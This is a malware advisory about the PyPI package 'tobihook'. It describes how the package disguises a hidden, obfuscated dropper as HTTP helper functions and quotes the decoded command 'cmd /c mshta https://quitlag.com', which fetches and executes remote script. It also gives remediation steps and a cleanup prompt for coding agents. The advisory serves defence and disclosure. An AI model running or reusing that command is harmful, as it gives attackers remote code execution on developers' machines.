# MAL-2026-5995: Malicious code in tobihook (PyPI)


- **Type:** Malicious package
- **Package:** `tobihook` (PyPI)
- **Published:** 17 Jun 2026

## What is MAL-2026-5995?

MAL-2026-5995 is a malicious package in tobihook, published on 17 Jun 2026. 

### Official description

The package masquerades as an HTTP helper (functions named post/get/fetch, module comment '# request/__init__.py', and an unused requests dependency) but each of those functions base64-decodes the string 'cmd /c mshta https://quitlag.com' and launches it via subprocess.Popen with CREATE_NO_WINDOW on Windows. mshta.exe then fetches and executes attacker-controlled HTA/JavaScript from quitlag.com on the caller's machine with no visible window. The malicious code is concealed in tobihook/post.py behind roughly 400 lines of leading whitespace and base64 obfuscation, and the dropper is reachable from the package's documented top-level API (tobihook/__init__.py re-exports post). Any developer who installs tobihook and calls its advertised post()/get()/fetch() triggers remote code execution on a Windows host.

Code contains lightly obfuscated commands executing remote scripts using mshta utility. The code does not contain any different functionality and the target URL is already flagged as potentially dangerous.

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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-tobihook

Reasons (based on the campaign):

 - Downloads and executes a remote malicious script.

 - tool:mshta

 - obfuscation

## What should I do about MAL-2026-5995?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5995 is a malicious package: tobihook (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5995/ (Markdown: https://insights.sbomify.com/MAL-2026-5995/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5995

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-5995/
Summaries are generated and may contain mistakes; the official description above is the record.